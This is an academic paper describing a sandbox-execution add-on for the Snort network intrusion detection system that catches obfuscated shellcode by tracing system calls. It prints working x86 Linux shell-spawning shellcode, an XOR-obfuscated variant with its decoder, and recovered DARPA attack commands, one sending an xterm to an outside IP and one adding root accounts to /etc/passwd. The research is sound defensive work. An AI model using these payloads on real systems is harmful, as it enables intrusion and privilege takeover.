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Abstract 
Intrusion detection systems (IDSs) are widely recognised as the last line of defence often used 
to enable incident response when intrusion prevention mechanisms are ineffective, or have been 
compromised. A signature based network IDS (NIDS) which operates by comparing network 
traffic to a database of suspicious activity patterns (known as signatures) is a popular solution 
due to its ease of deployment and relatively low false positive (incorrect alert) rate. Lately, 
attack developers have focused on developing stealthy attacks designed to evade NIDS. One 
technique used to accomplish this is to obfuscate the shellcode (the executable component of an 
attack) so that it does not resemble the signatures the IDS uses to identify the attacks but is still 
logically equivalent to the clear-text attacks when executed. We present an approach to detect 
obfuscated code injection attacks, an approach which compensates for efforts to evade IDSs. 
This is achieved by executing those network traffic segments that are judged potentially to 
contain executable code and monitoring the execution to detect operating system calls which 
are a necessary component of any such code. This detection method is based not on how the 
injected code is represented but rather on the actions it performs. Correct configuration of the 
IDS at deployment time is crucial for correct operation when this approach is taken, in 
particular, the examined executable code must be executed in an environment identical to the 
execution environment of the host the IDS is monitoring with regards to both operating system 
and architecture. We have implemented a prototype detector that is capable of detecting 
obfuscated shellcodes in a Linux environment, and demonstrate how it can be used to detect 
new or previously unseen code injection attacks and obfuscated attacks as well as well known 
attacks. 

1 Introduction 
An intrusion detection system (IDS) aims to detect intrusions and intrusion attempts that 
target computers and computer resources. Intrusion detection is needed because of the 
difficulty or the impossibility of creating computer systems that are provably secure and will 
remain so [4]. 

An IDS is an important security asset because even though there has been an increase in 
security awareness in recent times, especially with respect to secure programming practices to 
reduce the risk of creating vulnerable software, security problems such as code injection 
attacks still prevail. Software is developed in languages that lack adequate bounds checking 
and source code auditing is not performed to an adequate level. These deficiencies introduce 
opportunities for attackers to insert arbitrary executable code (bytecode) into running 
applications. Signature based intrusion detection systems struggle to keep up with attack 
development as new signatures must be created for each new attack mutation to provide 
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detection. Although the term shellcode refers to bytecode that just spawns a shell [6] it will be 
used throughout this paper to represent the payload of a code injection attack regardless of the 
operations it performs on the target host.  

In this paper we propose a new network-based IDS (NIDS) detection method to detect code 
injection attacks. The method is based on analysing the actions the shellcode performs rather 
than its representation, and is achieved by executing the shellcode in a sandbox. By executing 
potentially hostile code and analysing its interaction with the operating system, it is possible 
to detect even mutated and encrypted shellcodes, and therefore obfuscation methods 
employed by attackers are no longer an effective tool for evading detection. The work 
presented in this paper has been limited to detecting attacks where the entire shellcode is sent 
as the payload of the attack and attacks of the return into libc type have not been examined. 

Correct configuration of the sandbox used by the IDS is important when using this type of 
detection method. The static aspects of the sandbox represent the parts of the environment that 
are identical for all processes on a host such as the operating system and the computer 
architecture. The dynamic aspects represent the current state of a process and are both process 
and time dependent. The work presented in this paper omits consideration of the dynamic 
aspects as the detection systems complexity would otherwise increase beyond what is 
reasonable for a NIDS. With regard to the static environment the executable code that is to be 
examined must be executed in an environment identical to the environment of the host the 
IDS is monitoring. Both the operating system and the hardware architecture of the IDS must 
match that of the monitored host for this type of detection method to be effective. The 
operating system must match because for example, Solaris shellcode is different to Linux 
shellcode, and if it is executed on a Linux machine the attack will go unnoticed. Identical 
hardware is also important since Solaris running on a SPARC machine uses different machine 
instructions to a Solaris machine running on an x86 machine. 

We have implemented a Snort add-on prototype detector of the type described above which is 
capable of detecting obfuscated code injection attacks as well as clear-text attacks. We 
demonstrate that we are capable of detecting code injection attacks included in the 1999 
DARPA IDS evaluation data set and we also show that we can detect attacks that have been 
obfuscated using freely available IDS evasion tools without recording false positives. 

Sections 2 and 3 review the background theory regarding code injection attacks and existing 
approaches dealing with this issue. Section 4 examines attack obfuscation techniques which 
are employed by attackers to assist in evading detection. The detection method introduced in 
this paper that renders obfuscation ineffective is described in Section 5. Section 6 contains the 
test results after applying this method to the DARPA dataset. Sections 7 and 8 discuss 
deployment considerations and future work respectively. 

2 Code Injection Attack Background 
Code injection attacks make up a group of attacks that attempt to break the execution path of a 
target process and seize control of the instruction pointer so that arbitrary code may be 
executed. This is achieved by injecting executable code into a process through an injection 
vector. The injection vector manifests itself as a security vulnerability in the code of the 
targeted application. Examples of injection vectors include stack overflows, heap overflows 
and format string bugs. An injection vector allows arbitrary code chosen by the attacker to be 
injected into the running process and executed. The injected code may itself contain all the 
instructions to be executed on the target, or it may consist of addresses of code the attacker 
wants executed. 
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The stack based buffer overflow is the simplest example of an injection vector used in a code 
injection attack. Buffers temporarily store data waiting to be processed by a running program, 
and these buffers are stored within the stack frame at runtime to accommodate local variables 
together with parameters to the called function and the return address to the calling function. 
A buffer overflow occurs when more data is inserted into the buffer than what it was intended 
to keep, resulting in the overwriting of data elsewhere in the stack including return address to 
the calling function. When the return instruction is encountered the now overwritten return 
address is processed and execution may be redirected to an arbitrary memory address. 
Security vulnerabilities of this kind appear because the programming language does not 
enforce bounds checking and the programmer fails to validate the input into their functions 
[3].  

When attempting to detect code injection attacks, focus may be placed on the payload of the 
attack or on the injection vector. Two approaches commonly used in NIDS that represent 
payload and injection vector detection are shellcode signatures and protocol verification 
respectively. An example of a naïve approach to shellcode signature detection that detects a 
single code injection attack would be to identify the attack by the first 10 bytes of its payload. 
Such a signature might look like this: “31 c0 50 50 66 c7 44 24 02 1b”. The problem with this 
and similar approaches to signature generation is that they are easily circumvented by 
obfuscation techniques [1]. Additionally a signature must be generated for every single attack 
created, and therefore the IDS will never be able to detect new or previously unseen attacks or 
attack variations. The other more generic approach is to perform protocol verification. The 
signature would in this case only describe how long a protocol field (e.g., a buffer field) is 
allowed to be, and therefore generate alerts on all instances where the payload is longer than 
the input buffer in the application. This approach obviously does not require a signature for 
each attack but it does need a detailed analysis of each application monitored similar to that 
required for specification-based IDS [15] and a detailed analysis also of all the 
communication protocols used by the application in question.  

The code injected by a code injection attack generally consists of a NOP sledge (a series of 
“no operation” instructions) and the attack payload which contains the instructions the 
attacker wants to execute on the remote host. The NOP sledge precedes the attack payload 
and is used to increase the chance of successful execution by increasing the number of valid 
return addresses for the injected attack code. It is therefore not necessary to guess the exact 
address for the beginning of the attack code as long as an address is used that points 
somewhere within the NOP sledge. When referring to NOP instructions we include not only 
the “NOP” machine instruction itself but all instructions that are logically equivalent in the 
executing context or all instructions that do not have an impact on the running process.  

The work presented in this paper employs a technique to detect code injection attacks that 
analyses the payload the attack carries. Detection follows a two step process; first the NOP 
sledge is identified, and secondly the attack payload is executed in a sandbox to confirm that 
the traffic carries executable code. Basing attack detection on attack payload execution 
instead of on detection of the NOP sledge eliminates false positives induced by NOP 
detection techniques and provides more detail about the operation of the attack. The following 
section reviews existing methods of detecting code injection attacks. 

3 Related Work 
As mentioned in the previous section, code injection attacks have commonly been detected 
using signature based detection or protocol verification. In earlier work [1] it was shown that 
code injection attacks may be detected at the network layer by examining all traffic payloads 
and searching for instructions used to make system calls. This approach has been accurate 
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compared to signatures searching exclusively for NOP instructions preceding the payload of 
an attack, but is unlikely to detect attacks that make use of obfuscation techniques since these 
techniques obfuscate the instructions that are used to identify system calls.  

Another traffic analysis approach named abstract execution was proposed by Toth and 
Kruegel [14]. Their approach consists of searching for sequences of valid machine 
instructions in network traffic. The instructions identified are checked with regards to 
correctness and validity. Correctness means that the instruction is a valid machine instruction 
for the platform monitored and validity refers to valid memory references in the executing 
context. Sequential valid instructions are then counted; the rationale being that statistically 
there is a low chance that a high number of consecutive correct instructions occur randomly in 
network traffic. In a code injection attack, due to the need for a NOP sledge preceding the 
payload of the attack, long sequences of correct instructions appear and may be used as a 
discriminator to identify code injection attacks. Toth and Kruegel have implemented this 
approach and tested it with very good results for HTTP and DNS requests. This approach is 
very similar to the detection algorithm implemented in the now deprecated fnord pre-
processor previously included in the popular open source IDS Snort. We speculate that this 
approach lends itself better to detection in protocols where transmissions are relatively short 
in length than for high volume binary transmissions or indeed for transmissions containing a 
large number of upper case ASCII characters, as the hex value for these characters all 
represent valid single byte Intel machine instructions [13] that may be used as NOPs. We 
have examined the accuracy of fnord on binary data where it returned a relatively high 
number of false positives and believe this may be the reason why it has been deprecated. Our 
test results for fnord are contained in Sections 5.1 and 6. The approach presented in this paper 
utilizes fnord to identify possible NOP sledges and then analyses the transmissions to verify 
that the traffic indeed contains an attack payload. By adding this second layer of analysis we 
demonstrate that it is possible to eliminate all false positives and produce a highly accurate 
code injection detection system. 

Lately a significant amount of effort in the research community has been directed at detecting 
malicious activity including code injection attacks on the victim host. This branch of intrusion 
detection research was started by Hofmeyr et al. [8], when the discovery was made that 
recording sequences of system calls an application uses may be used to differentiate between 
normal and abnormal behaviour. Recently two new approaches to detecting code injection 
attacks with roots in the work presented by Hofmeyr et al. have been proposed [10] [16]. 
These approaches are based on creating a state machine model of the monitored application to 
detect code injection where execution falls outside the model of legitimate states. While these 
approaches are based on keeping track of activity on the host itself, our approach focuses only 
on identifying and analysing injected code from the network where attention is only given to 
the static environment and no information is kept relating to the dynamic environment of a 
process.  

Research has also been conducted on detecting malicious behaviour including code injection 
attacks by monitoring virtual machines [7]. The IDS monitors the target host by interacting 
with the virtual machine and is able to obtain state information about the operating system 
running in the virtual environment. That work is similar to the work presented here because 
virtual execution environments or sandboxes are used to monitor for malicious behaviour. 
However, it differs in that we do not use any state information about the monitored host and 
monitor only code that has been identified as potentially malicious. Sandboxing refers to 
technologies that separate a process from the underlying operating system by preventing or 
restricting resource usage. Several technologies are publicly available including services 
provided by the chroot system call, the Java virtual machine and VMware. Vulnerabilities 
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against sandbox implementations do occur but securing sandbox technologies is beyond the 
scope of this work. The following section reviews polymorphism and obfuscation techniques 
used in recent code injection attacks and Section 5 examines an approach for detection of 
obfuscated attacks. 

4 Polymorphism and Obfuscation Techniques 
This section reviews polymorphism and obfuscation techniques employed to evade intrusion 
detection systems by mutation toolkits such as ADMmutate1, CLET2 and JempiScodes3 
designed for remote to root exploits. Polymorphism in remote to root exploits stems from 
techniques developed by virus writers such as those found in the TridenT Polymorphic Engine 
(TPE)4 and Dark Angel Mutation Engine (DAME)5 toolkits. The basic idea of polymorphism 
is to encode or encrypt the shellcode differently for each version of the attack and similarly 
generate a different decipher routine for that particular encoding [5]. Basic polymorphism 
techniques used in shellcode generation include [9]: 

- Mixing instructions into the shellcode that have no impact on execution. 
- Using logically equivalent instructions that achieve the same result during 

execution.  
- Use of different registers for each version of the shellcode. 
- Use of decryption and encryption techniques during execution. 
- Use of several layers of decryption during execution. 

The ADMmutate toolkit polymorphs both the NOP sledge and the payload of the attack. The 
instructions that make up the NOP sledge are replaced with logically equivalent instructions 
and the shellcode is XORed to hide the payload. A decipher routine is inserted between the 
NOP sledge and the shellcode to decipher the payload at runtime. Figure 1 shows an example 
of injection code before and after a polymorphism toolkit has been used. 

 
 Figure 1 Clear-text and Polymorphed Shellcode  

Another polymorphism tool is JempiScodes. The current version, v0.4r1, provides four 
different encryption techniques; chained 8 and 16 bit XOR where the encrypted bytes are fed 
back into the encryption algorithm and used to encrypt the following bytes, and common 8 
and 16 bit XOR where the same key is used to encrypt all bytes. 

The following obfuscation example has been taken from the documentation for the 
obfuscation tool JempiSCodes. Figure 2 contains the listing of shellcode that spawns a shell 
upon execution, and Table 1 contains the shellcode disassembled. The code contains two 
signatures that may be used in a signature based IDS. The first obvious signature is “/bin/sh”, 

                                                 
1 http://safariexamples.informit.com/0321108957/chp4/ADMmutate-0.8.4/ 
2 http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=2182 
3 http://www.remoteassessment.com/darchive/191005460.html 
4 http://www.avp.ch/avpve/poly-gen/tpe.stm 
5 http://vx.netlux.org/vx.php?id=ed00 
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which indicates that the code may be trying to execute the “sh” program. The second 
signature that may be searched for is the presence of system calls as we have described earlier 
[1], where in this example “\xcd\x80” indicates that a system call is being made and 
“\xb0\x0b” indicates that system call is a call to execve. 

\xeb\x18\x5f\x89\x7f\x08\x31\xc0\x88\x47\x07\x89\x47\x0c\x89 
\xfb\x8d\x4f\x08\x8d\x57\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff 
\xff/bin/sh 

Figure 2 Shellcode 

Shellcode offset x86 instruction ASM instruction Comment
<shellcode+0>:     \xeb\x18 jmp     <shellcode+26> Retrieve address to "/bin/sh" string 
<shellcode+2>:     \x5f pop     %edi Store "/bin/sh" string address in register EDI 
<shellcode+3>:     \x89\x7f\x08 mov     %edi,0x8(%edi)  
<shellcode+6>:     \x31\xc0 xor     %eax,%eax  
<shellcode+8>:     \x88\x47\x07 mov     %al,0x7(%edi)  
<shellcode+11>:    \x89\x47\x0c mov     %eax,0xc(%edi)  
<shellcode+14>:    \x89\xfb mov     %edi,%ebx Set up execve parameter 1 (filename) 
<shellcode+16>:    \x8d\x4f\x08 lea     0x8(%edi),%ecx Set up execve parameter 2 (argv) 
<shellcode+19>:    \x8d\x57\x0c lea     0xc(%edi),%edx Set up execve parameter 3 (envp) 
<shellcode+22>:    \xb0\x0b mov     $0xb,%al Specify the execve system call 
<shellcode+24>:    \xcd\x80 int     $0x80 Execute execve system call 
<shellcode+26>:    \xe8\xe3\xff\xff\xff call    <shellcode+2> Push address to "/bin/sh" onto stack 
 /bin/sh    

Table 1 Disassembled shellcode 

As we can see from, Figure 3 after using an obfuscation tool such as JempiScodes, both the 
signatures searched for are removed from the shellcode. It would also be quite inefficient to 
create a signature based on the entire shellcode as using obfuscation tools changes the 
executable code and renders the signature useless. The first half of the shellcode listed in 
Figure 3 represents a decryption function that decrypts the attacks payload and the bolded 
instructions of Figure 3 represent the encoded attack. 

\xeb\x17\x5e\x6a\x61\x6a\x18\x59\x01\xce\x5b\x4e\x49\xf6\xd3 
\x30\x1e\x8a\x1e\x85\xc9\x75\xf4\xeb\x05\xe8\xe4\xff\xff\xff 
\x0e\x6f\xc7\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2\xf4\x1f\x95\x85 
\x34\xfe\x25\x97\xae\x44\x39\xb2\x1e 

Figure 3 Obfuscated shellcode 

The first part of the code is a decryption function that decrypts the 8 bit feedback XOR 
encryption algorithm used to hide the payload of the attack. The payload, bolded in Figure 3, 
contains a logically equivalent set of instructions to that in Figure 2. When the decryption is 
complete, the payload appears as listed in Figure 4. We can verify that the decoded shellcode 
is logically equivalent to the original shellcode by comparing the operations of the code 
segments listed in Table 1 to that listed in Table 2. The execve system call was successfully 
detected in both shellcodes contained in Figure 2 and Figure 3 during testing of our shellcode 
analyser.  

As a result of the polymorphism techniques described above, it is difficult to detect attacks 
using shellcode signatures. We propose to deal with this problem by focusing on detecting 
attacks based on the operations they perform when executed on a target host instead of 
attempting to match specific implementations of attacks to signatures. The approach we 
propose is examined in detail in the following section. 
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\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3 
\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80 

Figure 4 Decrypted payload 

Shellcode offset x86 instruction ASM instruction Comment
<shellcode3+0>:    \x31\xc0 xor     %eax,%eax  
<shellcode3+2>:    \x50 push    %eax Store "\0" on stack 
<shellcode3+3>:    x68\x6e\x2f\x73\x68 push    $0x68732f6e Store "n/sh" on stack 
<shellcode3+8>:    \x68\x2f\x2f\x62\x69 push    $0x69622f2f Store "//bi" on stack 
<shellcode3+13>:   \x89\xe3 mov     %esp,%ebx EBX points to “//bin/sh\0” 
<shellcode3+15>:   \x99 cltd      
<shellcode3+16>:   \x52 push    %edx  
<shellcode3+17>:   \x53 push    %ebx  
<shellcode3+18>:   \x89\xe1 mov     %esp,%ecx  
<shellcode3+20>:   \xb0\x0b mov     $0xb,%al Specify the execve system call 
<shellcode3+22>:   \xcd\x80 int     $0x80 Execute execve system call 

Table 2 Disassembled decrypted payload 

5 Executing Shellcode to Detect Code Injection Attacks 
Detecting buffer overflow attacks by searching for shellcode has previously been a popular 
solution to preventing remote code injection attacks. In signature based systems detection has 
focused on either the NOP sledge preceding the payload in the attack or on the payload itself. 
Basing detection on the NOP sledge has the advantage that there is no need to develop 
signatures for each individual attack payload, but the disadvantage of generating an increased 
number of false positive alerts. The work presented in this paper aims to eliminate false 
positives by verifying that network traffic that contains data that may be NOPs in addition 
also contain system calls that are symptomatic of an attack. We have utilised Snort in this 
work because of its packet and stream reassembly functionality and its extensible framework 
and the fnord pre-processor that identifies NOP sledges by searching for the presence of valid 
machine instructions in network traffic. This section is divided into three subsections which 
describe in detail the different aspects of our detection strategy: identifying executable 
instructions, decoding the shellcode with regards to the transmission protocol used in the 
attack and executing the attack payload. 

5.1 Identifying Executable Instructions 
To execute a series of instructions extracted from network traffic, the first task is to identify 
the first valid instruction byte. An instruction may consist of a single or multiple bytes, and if 
execution is started in the middle of a multi byte instruction the byte sequence will represent 
an invalid instruction and cause execution to fail. It is therefore imperative that the entire 
attack including the very first executable instruction is included in the data passed to the 
analyser.  

The work presented in this paper relies on the existence of an efficient algorithm for 
identifying consecutive executable instructions in network packets and does not concern itself 
with further development of such algorithms. It presents a mechanism to accurately eliminate 
false positives generated from NOP detection methods, and therefore detection will never be 
more complete than the detection method used in the NOP detector. Open source 
implementations of such detection mechanisms are freely available. This work utilises the 
now deprecated experimental fnord pre-processor included in the Snort IDS prior to version 
2.0. The fnord pre-processor attempts to detect NOP sledges programmatically instead of 
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applying pattern matching and will generate an alert if the number of consecutive valid NOP 
instructions in a stream exceeds a specified threshold [2]. We speculate that fnord was taken 
out of the Snort distribution because of the high number of false positives it may potentially 
generate. During our testing of the pre-processor it generated 78 false positives when 
transferring 200 MB of binary data. Instead of generating alerts based on the fnord algorithm, 
we send the suspicious network packets identified by fnord to our analyser for further 
examination.  

5.2 Protocol Awareness 
Communication protocols used by applications occasionally encode data before transmission 
due to the need for command characters that have special meaning when parsed by the 
receiving application. When potentially executable data has been identified it needs to be 
decoded with regards to any encoding implemented by the protocol used to transmit the 
attack. Each protocol may have its own characteristic encoding scheme that needs to be 
decoded before it is sent to the analyser so that the shellcode analysed is identical to how it 
would appear on a victim host when it is executed. An example that illustrates this issue is the 
FTP encoding used in the Bobek attack. FTP uses the Telnet protocol specification for 
communication over the control connection [12]. The specification for Telnet states that 
Telnet commands consist of two byte sequences; the interpret as command (IAC) escape 
character which has the hex code FF followed by the Telnet command which is in the range 
F0 to FF where FF represents the data byte 255. Therefore when transmitting data using FTP 
for example, all FF characters must be doubled up before transmission [11]. Before we pass 
the executable code to our detector we must therefore reverse this encoding by removing a FF 
byte where two FF bytes occur to obtain the original exploit code. 

We have implemented a few prototype decoders including one that performs FTP decoding as 
explained above that we use in our testing. Snort has a pre-processor named 
telnet_negotiation that performs the decoding previously discussed on FTP, however the pre-
processor does not alter the content of the original packet. Instead it puts the decoded payload 
in a data structure associated with the packet so that rules may still be written to match the 
raw payload content of the original packet. We have therefore chosen to perform all decoding 
operations in the analyser. Our prototype detector applies all decoding before executing the 
shellcode. Although we have not seen an example of an injection vector existing before an 
applications decoding routine, it is possible that such a vulnerability exists. Detecting an 
attack that exploits a vulnerability of this kind requires the execution of the shellcode before 
decoding routines has been applied, and detecting both types of attacks requires the analyser 
to execute both before and after the decoding has been applied. 

5.3 Executing Shellcode to Analyse Attacks 
The essence of our work is as follows. Once potential executable code has been identified by 
Snort using the fnord plug-in, the packet payload from the first executable instruction is sent 
to the shellcode analyser that will determine whether or not the packet is part of a code 
injection attack. The analyser will execute the shellcode as a separate child process and trace 
its operation by using ptrace. The system call ptrace is often used for debugging and allows a 
process to control the execution of a child process. The parent process may resume execution 
before the child executes system calls and record and change the state of the child before 
handing control back to it. We utilize ptrace by making the process executing the shellcode 
report back to the analysing process whenever a system call is made, and the shellcode 
analyser logs the system call together with system call parameters used and hands control 
back to the executing shellcode. This interaction continues until the shellcode executes a new 
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process or a set timeout of a few seconds expires because the code is waiting for input or has 
crashed. After the shellcode has finished execution the shellcode analyser formats the system 
call events if any system calls were made and passes the event data back to Snort which 
generates a descriptive alert containing the system calls made and the parameters used. 
Evidence of a single system call is classified as an attack as it is unlikely that the sequence of 
machine instructions needed to make a single system call occurs in random traffic. If the 
executed code did not make any system calls, it is concluded that it is not part of an attack and 
the analyser will exit and no alert will be generated. The interaction is illustrated in Figure 5. 

 
Figure 5 Shellcode analyser operation 

The detector has also been tested on various other remote to root attacks with successful 
detection. One such attack tool is “Bobek” which we also used in our previous work [1]. The 
data extracted from the shellcode used in the “Bobek” attack tool is illustrated in Table 3. 

"setreuid(0, 0)" 
"dup2(1, 2)" 
"mkdir(bin, 0777)" 
"chroot(bin)" 
"chdir(..)" (repeated 510 times) 
"chroot(.)" 
"execve(/bin/sh, /bin/sh, NULL)" 

Table 3 Extracted data from Bobek attack 

When executing potentially hostile code the executing host might be exposed to risks that are 
not associated with traditional signature matching systems. Therefore consideration must be 
given to the environment the code is executed in so that the injected code has no possibility to 
affect the host it executes on. We approach this problem using two measures. First we lower 
the permissions of the process executing the shellcode so the process runs as an unprivileged 
user. Secondly we place the process in a sandbox implemented using chroot. By taking these 
precautions the potentially hostile code will have no possibility of altering the state of the 
IDS.  
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Because the sandbox environment is different to the environment the protected service is 
running in, system calls can potentially succeed when exploiting the targeted service within a 
regular environment but fail in the sandbox. Therefore we intercept system calls only before 
they are executed and ignore the return value produced by the system calls. Evidence of a 
single system call denoted by a sequence of machine instructions should be considered an 
attack since the occurrence of such a sequence is unlikely to occur in random network traffic. 
During our testing we did not experience a single false positive. Details are contained in 
Section 6. 

We have shown that by executing network traffic that can potentially contain executable code, 
obfuscated attacks are still detectable. The signatures used in this approach are not based on 
the representation of the injected code but rather the actions it performs. The following 
section documents the test results obtained from applying our detection method to the 
DARPA IDS evaluation data set and obfuscated shellcodes. 

6 Test Results 
We have tested our detector using three different test methods. First we tested the detector in a 
test network set up containing an attacking host, an IDS and the vulnerable server. During this 
initial test the “Bobek” and “7350wurm” FTP exploit tools were used. Both exploits were 
successfully detected. More details regarding the detection of the “Bobek” attack are 
contained in Section 5.3. Following this initial test we tested the detector on the 1999 off-line 
intrusion detection evaluation datasets, where all attacks of the examined class were detected 
following some minor modification to the test data. Details about the DARPA tests are 
contained below. Finally we tested the detector on obfuscated attacks. Once formulated the 
obfuscated shellcodes were inserted directly into the analyser where the detection rate was 
100% (see below).  

The 1999 DARPA off-line intrusion detection evaluation dataset contains 5 weeks of data 
where the first 3 weeks contain training data without attacks and weeks 4 and 5 represent the 
testing data containing the 1999 attacks as well as background noise. The network traffic 
dump files used in this test constitute approximately 4.2 GB of network traffic. None of the 
attacks contained in this dataset have been obfuscated, and therefore we were also able to 
detect the attacks contained in this data using our previous detector [1], however we are now 
able to extract parameters sent to the system call. There are three code injection attacks in the 
1999 dataset that we have found which attack IMAP, Named and Sendmail. Figure 6 contains 
the data our detector extracted from the attacks once they were detected.  

IMAP exploit : 
"execve(/bin/sh, /bin/sh, NULL)" 

Named exploit: 
"execve(/usr/X11R6/bin/xterm, /usr/X11R6/bin/xterm -display 
194.7.248.153:0, NULL)" 

Sendmail exploit: 
"execve(/bin/sh, /bin/sh -c cp /etc/passwd /p; printf 
"woot::0:0:woot:/:/bin/bash\ned::99:99::/:/bin/sh\n">> /etc/passwd; echo 2, 
NULL)" 

Figure 6 Detected DARPA Attacks 

The IMAP exploit does not contain any protocol encoding and is therefore detectable without 
any modification of the data contained in the dump files. The Named exploit has been split 
into two packets, one containing the NOP sledge and the other containing the payload of the 
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attack. Snort uses the streams pre-processor to reassemble fragmented TCP streams to detect 
attacks split across multiple packets. Due to a limitation in the way streams reassembles TCP 
streams, the Named exploit is only detectable if the attack is modified so that the entire attack 
is contained within the first packet. According to the Snort developers this limitation will be 
eliminated with the next release of the streams pre-processor. Finally the sendmail exploit 
overflows a buffer in the MIME protocol and must therefore be SMTP decoded similarly to 
the descriptions in Section 5.2. With these modifications done to the data before it is analysed 
we are able to detect all three attacks. 

Table 4 contains the number of times fnord invoked the analyser when the network traffic was 
not part of an attack. For the two weeks of test data the analyser was invoked more than 2900 
times in total.  

Analyser Invocations
 Week 4 Week 5
Monday 4 2
Tuesday 224 447
Wednesday 22 1403
Thursday 34 233
Friday 2 611

Table 4 Fnord invocations on DARPA data set 

During our testing we have not encountered any false positives when our analyser is used in 
conjunction with the fnord NOP detector. We can therefore conclude that fnord alone while 
being able to detect all code injection attacks using NOP sledges generates a high number of 
false positives. By using our analyser in conjunction with fnord false positives are eliminated 
while code injection attacks are still detectable. 

The tests performed on obfuscated attacks consist of obfuscating shellcode and inserting the 
obfuscated shellcode directly into the analyser. This approach was decided upon due to the 
lack of exploit tools employing obfuscation techniques available. Our detector successfully 
detected the 8 bit chained XOR obfuscation example generated by JempiScodes examined in 
Section 4 as well as the same attack obfuscated using a 16 bit chained XOR and a 8 bit 
common XOR obfuscated attack. We also tested the detector on obfuscated shellcodes 
available on the homepage of the author of Jempiscodes6. These shellcodes include codes to 
terminate Snort, flush all iptables rules and bind a shell to port 5074. All obfuscated attacks 
were detected and in the same way as clear-text attacks and data listing the system calls used 
together with the system call arguments were extracted from the shellcodes. The following 
section examines deployment considerations our detection approach requires.  

7 Deployment Considerations 
Correct configuration of the IDS at deployment time is vital to ensure correct operation, in 
particular, the executable code that is to be examined must be executed in an environment 
similar to the execution environment of the host the IDS is monitoring. Firstly code running 
on different operating systems consists of different machine instructions. For example, Solaris 
shellcode is different to Linux shellcode, and if it is executed on a Linux machine the code 
will crash and the attack will go unnoticed. The second consideration to be made is the 
machine architecture. For example Solaris running on a SPARC machine uses a different 
instruction set to a Solaris machine running on an x86 machine. Both the operating system 
and the hardware architecture of the IDS must match the monitored host. 

                                                 
6 www.shellcode.com.ar 
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A possible IDS configuration, in a network with several servers with different operating 
systems and architectures, is to have the IDS spread across two or more machines. The NOP 
detector resides on the host that runs the IDS, and the analysers resides on machines with 
matching operating system and architecture to hosts monitored as illustrated in Figure 7.  

 
Figure 7 IDS deployment diagram 

This can easily be set up using machine emulation software such as VMware or Qemu. If a 
processor emulator cannot be found for an architecture used in the network, the code to be 
examined must be sent to a real host. By running the shellcode analysis process on a machine 
separate from the one running the IDS the performance impact on the IDS host itself is 
minimal.  

8 Conclusions and Future Work 
Code injection attacks continue to be a major threat to computer systems. New exploits are 
developed continuously and obfuscation tools make it easy to evade signature based intrusion 
detection systems. We have implemented a detection method that executes and traces 
potential executable code. By executing the code in a sandbox, tracing it and recording system 
calls made, we are able to detect obfuscated attacks. By performing this type of detection we 
are also able to detect this type of attack from the network without the need to install a sensor 
on each monitored host on the network.  

We have implemented a prototype of the detector on a Linux host by modifying Snort and 
shown that it is capable of detecting code injection attacks regardless of obfuscation 
techniques used. In the future analysis systems for other operating systems and architectures 
must also be implemented and tested. The detection method has been tested on attacks where 
the entire executable code is sent to the vulnerable host.  

Future work includes examining the suitability of a similar detection method for detecting 
attacks of the return into libc type where the payload of the attack does not contain any 
system calls. Instead only addresses of functions are sent in the attack and the functions used 
reside on the victim host. Attacks that do not require interaction with the operating system, 
but rely solely on local data modification may not be detected using the proposed technique 
and will also need further examination. We are currently investigating how to treat attacks 
that attempt to detect sandbox environments and change their behaviour based on such 
detection as well as attacks that aim to compromise the IDS by exhausting the analyser’s 
resources. 
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